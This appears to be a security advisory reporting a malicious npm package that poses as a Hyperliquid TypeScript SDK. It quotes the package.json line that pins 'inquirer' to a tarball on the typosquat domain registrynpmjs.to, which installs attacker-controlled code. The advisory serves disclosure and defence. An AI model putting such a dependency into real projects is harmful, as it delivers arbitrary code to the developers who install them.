VDB
GCVE-110-OSM-2026-10462
GCVE-110-OSM-2026-10462
Advisory PublishedCVSS 9.6/10
package.json declares `inquirer` with a tarball URL pointing at registrynpmjs.to — a domain that typosquats the official npm registry (registry.npmjs.org). Running `npm install` fetches and installs whatever tarball is hosted at that attacker-controlled URL as a transitive dependency, delivering arbitrary code into the installer's node_modules on every install. The package otherwise mimics a legitimate Hyperliquid TypeScript SDK (README shape, `@nktkas/rews` dep, jsr.io/@std references), and `inquirer` (an interactive-prompt library) is not a normal runtime dependency for a trading SDK, indicating the entry exists as a delivery vector rather than a functional dependency.
Judge assessment: This looks like a supply-chain trojan delivered through a typosquatted external tarball dependency: `package.json` pins `inquirer` to `https://registrynpmjs.to/inquirer-14.0.2.tgz`, which would bypass npm registry controls and fetch attacker-controlled code on install. The package otherwise presents as a legitimate Hyperliquid SDK, but the suspicious dependency is not a normal runtime need for a trading SDK and matches the attacker model described in MAL-2026-14042. The repeated `fetch("https://api.hyperliquid.xyz/exchange")` calls in `src/signing/mod.ts` and related build artifacts are consistent with a real SDK, but they do not explain the registry-bypassing install hook. Given the malicious delivery vector and the typosquat domain `registrynpmjs.to`, this should be treated as a compromise of a legitimate package rather than a false positive.
ENTRY
- URL-Based Dependency in package.json: ""dependencies": { "@nktkas/rews": "^2", "inquirer": "https://registrynpmjs.to/in..."
DESTINATION
- 5 exfil (custom-c2, ethereumAddresses)
- 1 c2 (urls)
(values recorded in verified_iocs)
EXFIL
- Network Request in esm/signing/mod.d.ts: "fetch("https:"
- Network Request in esm/signing/mod.js: "fetch("https:"
- Network Request in script/signing/mod.d.ts: "fetch("https:"
- Network Request in script/signing/mod.js: "fetch("https:"
- Network Request in src/signing/mod.ts: "fetch("https:"
ADDITIONAL FINDINGS
- Suspicious TLD Domain in esm/signing/mod.d.ts: "https://api.hyperliquid.xyz"
PAYLOAD FILES
esm/signing/mod.d.ts (+ esm/signing/mod.js, script/signing/mod.d.ts)
Weaknesses (CWE)
CWE-506Embedded Malicious Code
Risk Scores
CVSS 3.1
9.6/10
Critical · CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
Affected Products
| Vendor | Product | Versions | Platforms |
|---|---|---|---|
| unknown | @devmikets/hyperliquid-sdk | all (affected) | — |
Aliases
Browse GCVE Records
3,530 records in the GCVE database · Updated September 5, 2026
No matching records found.
Explore Further
Investigate this vulnerability in the interactive console or download the raw GCVE record.